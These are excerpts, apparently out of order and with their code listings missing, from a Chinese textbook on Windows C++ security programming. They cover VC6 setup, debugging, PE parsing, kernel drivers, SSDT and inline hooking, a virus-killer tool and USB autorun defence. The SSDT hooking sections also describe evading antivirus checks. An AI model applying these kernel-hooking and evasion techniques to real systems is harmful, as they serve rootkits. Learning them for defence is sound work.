    {"text": "Cover C++黑客编程揭秘与防范 编程、破解、入侵 编程、破解、入侵是黑客所掌握的技能，但是后两者都是以前者的编程为基础的。破解别人的程序是站在写程序的角度去考虑的，而入侵依靠的是系统的漏洞，发掘漏洞同样是需要编程知识、系统底层知识和调试技术。也就是说，想做一名黑客，在自身的知识体系中编程知识是占据很大份额的。也就应了网上的一句话——“不会编程的黑客就不是黑客”."},
    {"text": "C++黑客编程揭秘与防范 1.1 编程语言和开发环境的选择 初学者刚开始学习编程语言最头疼的问题就是如何选择编程语言及合适的开发环境，下面就来具体介绍一下。"},
    {"text": "有人认为学编程就是学编程语言，而VC、VB这样的开发环境只是工具，不需要学。 这个想法是错误的，因为开发环境提供了很多开发工具，如VC这个集成开发环境就提供了与之对应的PSDK、MFC等。 除了语言以外，要开发特定的软件是需要开发包和开发工具支持的。 况且，编程语言也是一种工具，用于和计算机进行交流的工具。 所以我们既要学习编程语言，也要学习开发工具。 对于选择哪种编程语言或者开发环境其实也没有特定的标准。 有这样一句话，“真正的程序员用VC，聪明的程序员用Delphi，用VB的不是程序员”。 笔者却并不这么认为，因为在很多编程的书籍上常常这样提醒并告诫学习者，编程的精髓是“算法”，而语言是用来描述算法的。"},
    {"text": "黑客一般都掌握多种编程语言，他们不但掌握着与底层相关的如汇编、C之类的编程语言，而且还掌握很多脚本语言，如Python、Perl、Ruby……很多黑客在发现0Day以后用Perl或者Python来写POC; MSF使用的是Ruby来进行开发Exploit;有的黑客在反病毒时竟然写个批处理就搞定了……对于黑客来说，一切语言都是服务于自己的思想的，只要能快速实现自己的想法，能完成自己所要完成的功能就行，从不拘泥于任何语言和工具。"},
    {"text": "除了VC6以外，还需要下载新版的PSDK，因为VC6中包含的PSDK过于旧，有些新的API我们无法通过包含头文件而直接使用，因此这个也是必须的。"},
    {"text": "1.1.1 何为SDK、API和MFC 既然选择VC作为开发环境，那么先来了解一下VC开发环境中今后会用到的一些工具的概念，这些概念都相对比较简单，常见的概念有SDK、API和MFC。"},
    {"text": "SDK是Software Develop Kits的缩写，即软件开发工具包。 SDK是一个泛指，比如对视频采集卡进行二次开发，那么视频采集卡会提供SDK;再比如对动态令牌进行二次开发，那么动态令牌也会提供SDK。 操作系统为了程序员在其平台下开发应用程序也会提供SDK，我们对系统提供的开发包称之为PSDK。 PSDK是Platform SDK的意思，也就是平台SDK。"},
    {"text": "Windows下的PSDK包含了进行Windows软件开发的文档和API函数的输入库、头文件等一些与Windows开发相关的工具。 PSDK是一个单独的开发包，不过每个不同版本的VC和其他一些开发环境中也已经包含了它。"},
    {"text": "PSDK提供的API就是操作系统提供的开发应用程序的接口，比如Windows系统下删除文件的API函数是DeleteFile();再比如Windows系统下移动文件的API函数是MoveFile()，而其他一些供二次开发的SDK中附带的API，也是为了进行开发应用程序而提供的接口。"},
    {"text": "1.1.2 VC6和SDK的配置 新版的PSDK （Windows Server 2003 SP1 Platform SDK）的下载地址为 http://www.microsoft.com/downloads/en/details.aspx?FamilyID=eba0128f-a770-45fl-86f3-7ab010b398a3。"},
    {"text": "SDK和VC6互相是独立的，不需要安装在同一个目录下，根据自己的实际情况安装就可以了。 在安装好VC6和新版的SDK后，需要在VC6中进行相应的设置才能使用新版的SDK，否则VC6仍然使用其自带的旧的SDK。 SDK和VC6的安装步骤这里就不介绍了（提示：请把VC6安装完整，VC6会提供一些代码，对我们的学习是非常有帮助的），下面介绍新版的SDK如何配置才能在VC6中使用。 启动VC6，单击菜单“Tools”-> “Options”命令，打开“Options”对话框，如图1-1 所示。"},
    {"text": "图1-1 “Options”对话框 选择“Directories”选项卡，在“Show directories for”下拉列表中选择“Include files”，选项并在“Directories”列表框中添加新的PSDK头文件的目录，放在列表的最上面，如图1-2所示。 图1-2 头文件的路径 在“Show directories for”下拉列表中选择“Library files”选项’并在“Directories”列表框中添加新的PSDK库文件的目录，放在列表的最上面，如图1-3所示。"},
    {"text": "图1-3 库文件的路径 切记要把所添加的目录放到列表的最上边，因为在VC编译代码的时候会搜索这些目录里的文件，如果随便放，编译器会因找不到相关API函数定义而报函数未定义的错误。"},
    {"text": "C++黑客编程揭秘与防范 7.3 HOOK SSDT（系统服务描述表） 7.3.1 SSDT简介 前面介绍了如何编写简单的驱动程序，这节将介绍内核下的一张非常有用的表。"},
    {"text": "我们查看一下命令的输出结果： 在该输出中，第一行就是 SSDT表，该表中的 80502b8c是一个函数指针数组，该指针数组保存了所有Native API的函数地址，0000011c是数组的大小，80503000里面保存的是一个参数个数数组，与Native API相对应。"},
    {"text": "将SSDT定义成一个结构体，如下： 要想在驱动中获得该表，需要使用Notokrnl.exe导出的KeServiceDescriptorTable，将其定义如下： 有了上面的SSDT表和KeServiceDescriptorTable的定义，就可以编写与SSDT相关的程序了，不过似乎还少点什么。"},
    {"text": "用WinDbg来看一下，输入dd 80502b8c，输出结果如下： 全都是一些地址值比较接近的函数地址，为什么说是函数地址，因为这是函数指针数组。"},
    {"text": "输入u8059a948命令，输出如下： 从输出可以看出，8059a948是NtAcceptConnectPort()函数的地址。 再来看一个地址，输入u 805e7db6命令，输出如下： 这次输出的是NtAccessCheck()函数的反汇编代码。"},
    {"text": "再看一下下标为0×11b中保存的地址是多少，输入命令dd 80502b8c + 11b * 4，80502b8c是数组的起始地址，11b是数组下标，那么乘4的是什么原因呢？"},
    {"text": "该命令输出如下： 再用u命令来查看805c2798处的反汇编代码，输入命令u 805c2798，输出如下： 数组中最后一项保存的是NtQueryPortInformationProcess()函数的地址。"},
    {"text": "7.3.2 HOOK SSDT 从上一节的介绍中我们知道，SSDT把用户层的Win32 API与内核层的Native API做了一个关联，而整个Native API都保存在SSDT中的一个函数指针数组中，只要修改函数指针数组中的某一项，就相当于HOOK了某个Native API函数。 比如，修改SSDT中函数指针数组中的最后一个函数指针，那么就相当于HOOK了 NtQueryPortInformationProcess()函数。 下面 HOOK一个我们比较熟悉的函数，即创建进程函数NtCreateProcessEx()。"},
    {"text": "通过编程获取 SSDT表，然后找到Native API的函数指针数组，然后修改其中第0×30项的内容为我们的函数地址，为了不影响进程的正常创建，在函数中调用NtCreateProcessEx()函数。"},
    {"text": "代码如下： 在DriverEntry()中，调用了 HookCreateProcess()函数，该函数的作用就是将指针数组中 NtCreateProcessEx()函数的地址替换为 MyNtCreateProcess()函数的地址。 而 MyNtCreateProcess()函数是用来取代NtCreateProcess()函数的函数，在我们的函数中调用了一条KdPrint()用于输出的代码。"},
    {"text": "这两个函数的作用是，禁止和开启CPU向标志为只读的内存页进行写入的操作。 执行了 UN_PROTECT后CPU可以向标志为只读的内存页进行写入操作。"},
    {"text": "把它放到虚拟机中，打开DebugView然后加载该驱动，加载成功后随便运行一个可执行程序，可以看到在DebugView中显示了在 MyNtCreateProcess()中的输出了，如图7-10所示，说明我们的HOOK成功了。"},
    {"text": "图7-10 MyCreateProcess()函数的输出 7.3.3 Inline HOOK SSDT 前面介绍了 HOOK SSDT，下面介绍一下Inline HOOK SSDT，为什么要介绍Inline HOOK SSDT呢？"},
    {"text": "在有些情况下，反病毒软件会保护SSDT不受篡改，其保护方式是检查Native API SSDT呢？ 在有些情况下，反病毒软件会保护SSDT不受篡改，其保护方式是检查Native API的函数指针数组中的值是否正确。 如果其中某项或某几项被修改，那么反病毒软件会将被修改的项恢复到原来的值，这样HOOK SSDT就不成功了。"},
    {"text": "如果换作是Inline Hook SSDT的话，那么就不会去修改Native API的函数指针数组中的值了，这样 可以避免反病毒软件的检测（注：这只是一个简单的说明，现在使用Inline HOOK SSDT同样会被反病毒软件查杀）。 实现Inline Hook SSDT的代码如下： 关于代码的部分就不多介绍了，测试一下，其运行结果如图7-11所示。"},
    {"text": "该软件可以在进程创建时、有进程对注册表进行写入时或有驱动被加载时，给用户予以选择，选择是否拦截进程的创建、是否拦截注册表的写入、是否拦截驱动的加载等功能。"},
    {"text": "对于杀毒软件的特征码查杀而言，如果杀毒软件不更新病毒数据库，那么依赖病毒特征码的杀毒软件就无法查杀新型的病毒了，那么对新型的病毒就成为一个摆设了。"},
    {"text": "当一个木马程序要秘密启动的时候，对CreateProcessW()函数进行了HOOK，在进程被创建前，会询问用户是否启动该进程，那么木马的隐秘启动就被暴露出来了。"},
    {"text": "对于注册表来说，要对非法进程进行删除或写入注册表键值进行管控，因此需要HOOK两个注册表函数，分别是注册表写入函数RegSetValueExW()和注册表删除函数RegDeleteValueW()。"},
    {"text": "由于使用了HOOK，那么就必然要涉及DLL的编写，我们分DLL和EXE两部分来进行详细的介绍。 二、实现HOOK部分的DLL程序的编写 因为要对目标进程进行HOOK，因此要编写DLL程序。"},
    {"text": "定义如下： HOOK部分是在DllMain()函数中完成的，代码如下： 对于放行/拦截这部分是给用户选择的，那么就要给出提示让用户进行选择，至少要给出放行/拦截的类型，比如是注册表写入或是进程的创建，还要给出是哪个进程进行的操作。"},
    {"text": "结构体定义如下： 定义一些常量用来标识放行/拦截的类型，定义如下： 将这些定义好以后，就可以开始完成HOOK函数了，我们主要给出CreateProcessW()函数的HOOK实现，其余两个函数的HOOK实现请大家自行实现。"},
    {"text": "代码如下： 这里使用了一个SendMessage()函数，该函数用来发送一个WM_COPYDATA消息，将结构体传给了加载DLL的EXE程序，使EXE程序把提示显示给用户。"},
    {"text": "SendMessage()函数的功能非常强大，该函数的定义如下： 该函数的第一个参数是目标窗口的句柄，第二个参数是消息类型，最后两个参数是消息的附加参数，根据消息类型的不同而不同。"},
    {"text": "图6-22 程序主界面 从上面两个图可以看出，程序的确是可以拦截进程的启动的，当单击“允许”按钮后，进程会被正常创建，当单击“取消”按钮后，进程将被阻止创建。"},
    {"text": "图6-23 拦截提示框 EXE的部分主要就是如何来启动行为监控功能，还有就是如果接收DLL程序通过 SendMessage()函数发出的消息来给用户弹出提示框。 进行拦截的部分已经在DLL程序中通过HOOK实现了，所以重点也就在界面上和消息的接收上了。"},
    {"text": "因为恢复Inline Hook是在DLL被卸载的情况。 因此，在卸载时，我们调用GetModuleHandle()获得本进程的DLL句柄后，虽然CloseHandle()了，但是只是减少了对DLL的引用计数，并没有真正的释放，必须再次使用FreeLibrary()函数才可以使DLL被卸载掉，从而恢复Inline Hook。"},
    {"text": "带窗口的主要代码如下： DLL程序中的SendMessage()函数的返回要等待WM_COPYDATA的消息结束，并从中获得返回值来决定下一步是否执行，因此这里只要简单地返回TRUE或FALSE即可。"},
    {"text": "6.4.2 专杀工具 现在免费的杀毒软件越来越多了，例如360安全卫士、金山毒霸、瑞星……有很多人不会去安装杀毒软件，如果爆发了传播速度较快，感染规模较大的病毒或蠕虫的话，杀毒厂商会为了阻止这种比较“暴力”的病毒或蠕虫的传播与感染，会推出免费的供网友使用的专杀工具。 专杀工具是针对某一个或某一类的病毒、木马或蠕虫等恶意软件开发的工具。 专业的杀毒软件需要专业的反病毒公司来进行开发，而专杀工具可能是由反病毒公司开发，也可能是由个人来进行开发。 一、病毒分析方法简介 对于编写专杀工具，除非是感染型病毒，通常情况下并不需要对病毒做逆向分析，只需要对病毒进行行为分析就可以编写专杀工具。 而如果病毒是感染型的，需要修复被病毒感染的文件，那么就不能只是简单地对病毒进行行为分析，必须对病毒进行逆向分析，从而修复被病毒所感染的文件。"},
    {"text": "病毒、木马等恶意程序都有一些比较隐蔽的“小动作”，而这些动作一般情况下是正常程序所没有的。 比如，把自己添加进启动项，或把自己的某个DLL文件注入到其他进程中去，或把自己复制到系统目录下……这些行为都不是正常的行为。 我们拿到一个病毒样本以后，通常是将病毒复制到虚拟机中，然后打开一系列的监控工具，比如注册表监控、文件监控、进程监控、网络监控等，将各种准备工作做好以后，在虚拟机中把病毒运行起来，看病毒对注册表进行了哪些操作，对文件进行了哪些操作，连接了哪个IP地址、创建了多少进程。"},
    {"text": "当病毒感染了可执行文件以后，感染的是什么内容是无法通过行为监控工具发现的。 而病毒对可执行文件的感染，有可能是添加一个新节来存放病毒代码，也可能是通过节与节之间的缝隙来存放病毒代码的。"},
    {"text": "二、病毒查杀方法简介绍 病毒的查杀方法有很多种，在网络安全日益普及的今天，在杀毒软件公司大力宣传的今天，想必大部分关心网络安全的人对于病毒查杀的技术有了一些了解。 当今常见的主流病毒查杀技术有特征码查杀、启发式查杀、虚拟机查杀和主动防御等。 下面简单地说说特征码查杀和启发式查杀两种病毒查杀方法。 （1）特征码查杀。 特征码查杀是杀毒软件厂商查杀病毒的较为原始的一种方法。 该方法是通过从病毒体内提取病毒特征码，从而能够有效识别出病毒。"},
    {"text": "启发式查杀可以相对有效地识别出病毒，但是往往也会出现误报的情况。 三、编写病毒专杀工具之简单病毒行为分析 我们来编写一个简单的病毒专杀工具，这个病毒专杀工具非常简单，用到的知识都是前面的知识。 先准备一个简单的病毒样例，然后在虚拟机中进行一次行为分析，然后写出一个简单的病毒专杀工具。 虽然前面的例子都有代码让大家练习，但是这次我们要对病毒进行行为分析，然后编写代码，完成我们的专杀工具。"},
    {"text": "虚拟机也是一个软件，它用来模拟计算机的硬件，在虚拟机中可以安装操作系统，安装好操作系统后可以安装各种各样的应用软件，与操作真实的计算机是没有任何区别的。"},
    {"text": "分别对几个工具进行设置，对FileMon和RegMon进行字体设置，并设置过滤选项，如图6-24和图6-25所示。 图6-24 对RegMon设置过滤 对于FileMon和RegMon的字体设置在菜单“选项”-> “字体”命令下，通常笔者选择“宋体”、“9号”，大家可以根据自己的喜好进行设置。"},
    {"text": "图6-26 对Procexp的设置 图6-27 在Procexp中看到的mirwzntk.exe的病毒进程 图6-28 RegMon对注册表监控的信息 在图6-27中看到的病毒进程名为“mirwzntk.exe”，而不是“a2.exe”。"},
    {"text": "图6-29 FileMon对文件监控的信息 病毒在注册中写入了一个值，值的内容为 “mirwznt.dll”，写入的位置如下： HKLM\\SOFTWARE\\MICROSOFT\\WINDOWSNT\\CURRENTVERSION\\WINDOWS\\APPINIT _DLLS。"},
    {"text": "病毒在C:\\WINDOWS\\system32\\下创建了两个文件，分别是“mirwznt.dll”和 “mirwzntk.exe,创建病毒进程mirwzntk.exe,并生成了一个.bat的批处理程序用于删除自身，也就是删除“a2.exe”。 下面来写一个专杀工具对该病毒进行查杀，如图6-30所示。 图6-30 mirwzntk病毒的专杀工具 四、编写病毒专杀工具之专杀工具编写 在查杀病毒的技术中有一种方法类似特征码查杀法，这种方法并不从病毒体内提取特征码，而是计算病毒的散列值。 也就是对病毒的大小进行散列计算，然后在查杀的过程中计算每个文件的散列，然后进行比较。"},
    {"text": "这种方法简单且易实现，常见的有MD5、CRC32等一些计算散列的算法。 下面选用CRC32算法计算函数的散列值，这里给出一个现成的CRC32函数，只需直接调用就可以了，代码如下： 该函数的参数有两个，一个是指向缓冲区的指针，第二个是缓冲区的长度。 将文件全部读入缓冲区内，然后用CRC32函数计算文件的CRC32散列值。"},
    {"text": "相反，U盘的普及使得移动磁盘对病毒的传播更加得方便。 U盘的数据传输速度和数据存储容量等多方面都比软盘要先进很多，因此，软盘可以传播病毒，U盘当然也可以传播病毒。 通过U盘来传播病毒通常是使用操作系统的自动运行功能，并配合U盘下的Autorun.inf文件来实现的。 如果让操作系统不自动运行移动磁盘，或者保证移动磁盘下不存在Autorun.inf文件，那样通过U盘感染病毒的几率就小很多了。 一、通过系统配置禁止自动运行 先介绍一下关于如何通过系统配置来禁止U盘中Autorun.inf的自动运行。"},
    {"text": "一般这两处都需要进行修改。 下面分别介绍一下如何对这两处进行设置。 先来看一下如何在“服务”中进行设置。 首先打开控制面板中的“管理工具”，然后找到 “服务”将其双击打开。"},
    {"text": "首先在“运行”中输入“gpedit.msc”，然后依次单击左边的树形控件，“计算机配置”-> “管理模板”-> “系统”，然后在右边双击“关闭自动播放”选项，弹出“关闭自动播放属性”对话框，在“设 置”选项卡中选择“已启用”单选项，在”关闭自动播放“处选择”所有驱动器“选项，设置完成后单击”确定“按钮。 再到左边的树形控件中选择“用户配置”-> “管理模板”-> “系统”，到右边找到“自动关闭播放”选项，设置方法同上，如图6-32所示。 图6-31 禁用“Shell Hardware Detection”服务 图6-32 组策略中的“关闭自动播放” 通过以上设置，的确是可以相对有效地保护计算机不中U盘相关的病毒。"},
    {"text": "二、打造一个简易的U盘防御软件 我们将打造一个U盘防火墙，当插入U盘时会有提示，并且自动检查U盘下是否有 Autorun.inf文件，并解析Autorun.inf文件。"},
    {"text": "我们要得到设备被插入的消息类型，因此wParam的取值为 DBT_DEVICEARRIVAL，而该消息对应的数据的数据类型为DEV_BROADCAST_HDR，该结构体的定义如下： 在该结构体中，主要看的是dbch_devicetype，也就是设备的类型。 如果设备类型为 DBT_DEVTYP_VOLUME，则把当前结构体转换为DEV_BROADCAST_VOLUME结构体，该结构体定义如下： 在该结构体中主要是dbcv_unitmask和dbcv_flags。"},
    {"text": "dbcv_unitmask通过位来表示逻辑盘符，第0位表示A盘，第1位表示B盘。 dbcv_flags表示受影响的盘符或媒介，该值为0时表示U盘或移动硬盘。"},
    {"text": "上面介绍了关于WM_DEVICECHANGE这个消息，由于是在MFC下进行开发的，因此可以使用OnDeviceChange()这个消息响应函数来进行代替WM_DEVICECHANGE消息。 虽然使用了OnDeviceChange()这个消息响应函数而没有使用WM_DEVICECHANGE，但是响应函数的附加参数与WM_DEVICECHANGE相同。 OnDeviceChange()函数定义如下： 四、通过OnDeviceChange()消息来获得被插入U盘的盘符 通过上面对WM_DEVICECHANGE消息的介绍，下面使用MFC下的OnDeviceChange()消息响应函数来编写一个获取被插入U盘的盘符的小程序，为编写U盘防火墙做一个简单的准备工作。"},
    {"text": "首先来添加消息映射，添加代码如下： 在头文件中添加消息响应函数的定义，定义如下： 最后添加消息响应函数的实现，代码如下： 我们将其编译连接并运行，插入一个U盘，得到如图6-33所示的提示。"},
    {"text": "图6-33 检测到的U盘盘符 上面的这段代码可以将其封装为一个函数，封装后的函数定义如下： 在使用类似DBT_DEVICEARRIVAL这样以DBT_开头的宏时应包含头文件”“dbt.h”文件。"},
    {"text": "五、U盘防火墙的完善 前面已经获得了被插入U盘的盘符，接下来就可以对U盘上的Autorun.inf文件进行分析，并删除要运行的程序，还可以安全地打开U盘。 改写一下OnDeviceChange()函数，以实现要完成的功能，代码如下： 安全打开U盘的实现代码如下： 用DeleteFile()函数删除U盘中要运行的程序可能会失败，因为有时U盘并没有完全准备好。"},
    {"text": "6.4.4 目录监控工具 我们介绍了通过HOOK技术对进程创建的监控，然后介绍了通过CRC32对病毒进行查杀，还介绍了通过使用WM_DEVICECHANGE消息对U盘的防护。"},
    {"text": "就好像，我们在本地安装了IIS服务器，并搭建了一个网站平台，有时候会遭到黑客的篡改，而我们无法及时地恢复被篡改的页面，导致出现了非常不好的影响。"},
    {"text": "（4） bWatchSubtree:该参数为TRUE时，表示监视指定目录下的文件及子目录下的文件操作。 如果该参数为FALSE，则只监视指定目录下的文件，不包含子目录下的文件。"},
    {"text": "该例子是对E盘目录进行监控，我们将程序编写完成后对E盘进行简单的文件操作，以观察程序的输出结构。 完整的代码如下： 将程序编译连接并运行，在E盘下进行简单的操作，查看程序对E盘的监视输出记录，如图6-34所示。"},
    {"text": "首先将要监视的文件目录进行一次备份，然后对文件目录进行监视，如果有文件发生了修改，那么就使用备份目录下的指定文件恢复被修改的文件。"},
    {"text": "C++黑客编程揭秘与防范 7.1 驱动版的 “Hello World” 驱动都是要加载入内核的，我们要做的很多事情也需要在内核下完成，要想在内核中实现功能就需要编写驱动模块。提到驱动可能会想到硬件，大家可能会简单地认为驱动程序是控制硬件设备的。在Windows下驱动并不单单是用来控制硬件设备的。Windows操作系统中的驱动程序可以创建虚拟设备，也可以与设备无关。Windows操作系统是一个开放式的操作系统，这个开放式并不是指其开放源代码，而是指通过其提供的接口可以很容易和方便地对其内核进行扩展。 要开发Windows下的驱动程序时，需要下载安装Windows下的驱动开发包，即WDK（Windows Driver Kit），该开发包免费提供下载，里面附带了开发驱动的头文件、帮助文档、工具及大量的文档等内容。笔者当前使用的版本是WDK 7600.16385.0。下面来编写一个简单的、与设备无关的驱动程序，名为HelloWorld。编写驱动不再依赖VC6的开发环境，而是在记事本或任意一款文本编辑器中编写代码，新建一个文件为helloworld.c的C源码文件。代码如下： 在开发驱动时，不再使用main()函数，而是使用DriverEntry()，该函数是驱动程序的入口函数，其定义在WDK自带的帮助文档中查找： 在WDK的帮助文档中查找DriverEntry()时会找到非常多的关于它的定义，这里查看的是DriverEntry[WDK kernel]的定义。该函数有如下两个参数。 （1） DriverObject:该参数是一个指向DRIVER_OBJECT结构体（驱动对象）的指针. （2） RegistryPath:该参数是一个UNICODE字符串，指向此驱动负责的注册表。在程序中使用到了第一个参数，DRIVER_OBJECT结构体的定义如下：  该定义在WDK目录下的\\inc\\ddk\\中的wdm.h头文件中，虽然在WDK的帮助文档中有该结构体的介绍，但是笔者并没有找到关于该结构体的具体定义。在该程序中用到了该结构体中的几个成员变量，分别是DriverUnload和DriverName。DriverUnload是一个用来卸载驱动的函数，卸载驱动的工作是由Windows来完成的，因此该函数是一个回调函数，这个函数用来完成对驱动资源的释放工作。该函数的定义格式如下： DriverName是一个UNICODE_STRING结构体的变量，该变量指向了驱动的名称， UNICODE_STRING结构体的定义如下： 该结构体中的Buffer里保存了驱动的名称，其他两个变量里保存了驱动名称字符串的长度和最大长度。我们的程序到这里基本上介绍的差不多了，还剩下一个KdPrint()函数没有介绍，这个函数的用法类似printf()函数的用法，这里就不做过多的介绍了。下面来准备编译连接写好的第一个驱动程序吧。 要编译驱动程序需要使用WDK提供的编译工具，在“开始”菜单的程序下可以找到安装 WDK的菜单，如：“Windows Driver Kits->WDK 7600.16385.0->Build Environments-> Windows XP->×86 Checked Build Environment”，除了 Windows XP的以外还有 Windows 2003、 Windows 7等相关的编译命令行。在驱动编译的工程中也同样提供两个版本，分别是Checked版和Free版，这两个版本对应的就是Debug版和Release版，只是叫法不同而已（注：在不同平台下应使用不同的编译命令行）。 在命令行下编译需要编译脚本，编译脚本有两个，分别是“makefile”和“sources”。这两个脚本不用自己写，只要找一个改改就行。我们到WDK提供的例子程序中找个编译脚本，例如笔者在“\\7600.16385.0\\src\\filesys\\miniFilter\\cancelSafe\\”目录下找了这两个文件，并复制到我们写的驱动的目录下。下面来修改一下编译脚本，只需要修改“sources”文件即可，另一个文件保持原样即可。Sources文件修改如下： 简单解释一下，第一行是编译连接后的驱动名称，第二行是编译后的类型，第三行是需要编译连接的源代码文件。修改好后保存，就可以进行编译了。输入编译的命令build/g，如图7-1所示。 图7-1 驱动的编译连接过程 在编译成功后会在最下面一行看到一个“ 1 executable built”的输出，到我们的目录下去找一下编译好的驱动程序，其所在目录为“ HelloWorldDriver\\objchk_wxp_x86\\i386”下，那个扩展名为.sys的helloworld就是编译好的驱动文件了。 .sys的文件是无法直接双击执行的，需要通过工具进行加载，这里使用的工具是一款名为 “KmdManager”的EXE文件。除了要加载以外，还要查看驱动的输出，由于驱动没有界面，因此无法直接查看其输出，需要使用Dbgview工具来查看，下面具体操作一遍。打开KmdManager和Dbgview两个工具，将驱动程序拖放至KmdManager中，然后单击“Register”加载驱动，单击“Run”运行程序，然后查看Dbgview中有一串字符串，那正是在 DriverEntry()中输出的字符串。单击“Stop”按钮停止驱动，并单击“Unregistry”卸载驱动，再次观察Dbgview会看到在DriverUnload()中输出的字符串，如图7-2和图7-3所示。 图7-2 KmdManager的操作 我们逐步完成了 Helloworld驱动的编写、编译连接及运行显示输出的过程。这一节的内容也主要是让大家学会如何编译连接、运行和查看驱动输出。"},
    {"text": "C++黑客编程揭秘与防范 4.3 PE查看器 写PE查看器并不是件复杂的事情，只要按照PE结构一步一步地解析就可以了。下面简单地解析其中几个字段内容，显示一下节表的信息。写的PE查看器如图4-26所示。 图4-26 PE查看器解析记事本程序 PE查看器的界面就按照如图4-26所示的那样来设置，不过这个可以按照个人的偏好进行设置。编写该PE查看器的步骤为打开文件并创建文件内存映像，判断文件是否为PE文件并获得PE格式相关结构体的指针，解析基本的PE字段，枚举节表，最后关闭文件。我们需要在类中添加几个成员变量及成员函数，添加的内容如图4-27所示。 图4-27 在类中添加的成员变量及成员函数 按照前面所说的顺序，依次实现添加的各个成员函数。 这个函数的主要功能是打开文件并创建内存文件映像。通常对文件进行连续读写时直接使用ReadFile()和WriteFile()两个函数，当不连续操作文件时，每次在ReadFile()或者WriteFile()后就要使用SetFilePointer()来调整文件指针的位置，这样的操作较为繁琐。内存文件映像的作用是把整个文件映射入进程的虚拟空间中，这样操作文件就像操作内存变量或数据一样的方便。 创建内存文件映像所使用的函数有两个，分别是CreateFileMapping()和MapViewOfFile()。下面分别介绍这两个函数，CreateFileMapping()函数的定义如下： 参数说明如下。 （1） hFile:该参数是CreateFile()函数返回的句柄。 （2） lpAttributes:是安全属性，该值通常是NULL。 （3） flProtect:创建文件映射后的属性，通常设置为可读可写PAGE_READWRITE,如果需要按照装载可执行文件那样把文件映射入内存的话，那么需要使用SEC_IMAGE; 最后3个参数在这里为0。如果创建的映射需要在多进程中共享数据的话，那么最后一个参数设定为一个字符串，以便通过该名称找到该块共享内存。 该函数的返回值为一个内存映射的句柄。 MapViewOfFile()函数的定义如下： 参数说明如下。 （1） hFileMappingObject:该参数为CreateFileMapping()返回的句柄。 （2） dwDesiredAccess:想获得的访问权限，通常情况下也是可读可写FILE_MAP_READ、 FILE_MAP_WRITE。 最后3个参数一般给0值就可以了。 按照编程的规矩，打开要关闭，申请要释放。那么对于CreateFileMapping()的关闭需要使用CloseHandle()函数，对于MapViewOfFile()来说，要使用UnmapViewOfFile,该函数的定义如下： 该函数的参数就是MapViewOfFile()函数的返回值。 接着说PE查看器，文件已经打开，那么就要判断文件是否为有效的PE文件了，如果是有效的PE文件，那么就把解析PE格式的相关结构体的指针也得到。代码如下： 这段代码应该非常容易理解，继续看解析PE格式的部分吧。 对于PE格式的基础信息来说，就是简单地获取结构体的成员变量，没有过多复杂的内容。获取导入表、导出表就要比获取基础信息要复杂了。关于导入表、导出表的内容将在后面介绍。接下来进行节表的枚举，代码如下： 最后的动作就是释放动作了，因为很简单，这里就不给出代码了。整个PE查看器就算是写完了。"},
    {"text": "C++黑客编程揭秘与防范 1.2 应用程序的调试 在开发程序的过程中，除了编码以外还需要对程序进行调试，当编写的程序出现问题后，就要对程序进行调试。"},
    {"text": "调试不是仅使用一个printf()或MessageBox()进行简单的输出来观察某个函数的返回值（虽然在调试的时候的确是对返回值观察较多），也不是对某个变量、某一时间的具体值的输出。"},
    {"text": "调试是有专业的调试分析工具的，VC6不但提供代码编辑、代码编译、编译连接等功能，还提供了一个非常好用的调试工具。 在编写完代码后，如果程序输出的结果是未知的，或者是没有预测到的，都可以通过调试来对代码的逻辑进行分析，以找到问题的所在。 掌握调试的技能，对软件的开发有非常大的帮助。 掌握好的调试工具，对于调试者来说，也同样会起到事半功倍的作用。 下面通过一个简单的例子了解一下VC6提供的调试功能吧。"},
    {"text": "启动VC6，单击菜单“File” -> “New”命令，在弹出的对话框中选择“Projects”选项卡，然后在左边的列表框中选择“Win32 Console Application”选项,在“Project Name:”文本框中填写“HelloWorld”，如图1-4所示。"},
    {"text": "单击菜单“File” -> “New”命令，选择“Files”选项卡，在左边的列表中选择“C++ Source File”选项’在右边的“File”文本框中填写“HelloWorld”，如图1-6所示。 图1-6 “Files”选项卡 单击“OK”按钮就可以进行代码编辑了。 在代码编辑处录入如下代码： 按F7键进行编译连接（按Ctrl+ F7组合键是只编译不进行连接），按Ctrl+F5组合键进行运行，如图1-7所示。"},
    {"text": "图1-8 VC6处于调试状态 常用的调试窗口有两个，一个是“Watch”窗口（标注“1”的那个窗口），一个是“Memory”窗口（标注“2”的那个窗口）。"},
    {"text": "打开“Watch”窗口的方法是单击“View” -> “Debug Windows” -> “Watch”命令（或按Alt+3组合键）打开。 打开“Memory”窗口的方法是单击“View” -> “Debug Windows” -> “Memory”命令（或按Alt+6组合键）打开。 “Watch”窗口用来监视我们感兴趣的变量，而当我们有时无法通过变量的值进行判断时，就需要借助“Memory”窗口中的值，比如，指针的值来进行判断。"},
    {"text": "除了这两个窗口以外，还有“Call Stack”、“Register”和“Disassembly”这3个窗口，分别如图1-9、图1-10和图1-11所示。 图1-9 “Call Stack”窗口 图1-10 “Register”窗口 图1-11 “Disassembly”窗口 “Call Stack”窗口是调用栈窗口，该窗口可以很方便地查看调用关系，很容易通过调用栈来找到上层、上上层的调用者。"},
    {"text": "比如，有时程序会崩溃，但是发生崩溃的地方却在系统提供的代码中，而不在我们编写的代码中，这种错误在通常情况下是我们的程序对于参数的输入有误造成的，我们可以通过调用栈查看是谁调用了该函数，以便进行进一步分析。"},
    {"text": "以上就是VC6下常用的调试窗口，可根据实际情况使用，并不是每次调试都会用到这些窗口。 下面再简单介绍一下常用的调试快捷键，以方便今后进行调试时使用。 VC6调试时的常用快捷键如下。"},
    {"text": "F9键：设定断点/取消断点。 F10键：单步步过，依次执行每一条代码。 F11键：单步步入，依次执行每一条代码，遇到函数调用时则进入到被调用的函数中。 F7键：停止调试。"},
    {"text": "F8键：单步步过，依次执行每一条代码。 F7键：单步步入，依次执行每一条代码，遇到函数调用时则进入到被调用的函数中。 F4键：执行到选中的代码处（前提条件是该条代码在程序的流程中一定会被执行到）。"},
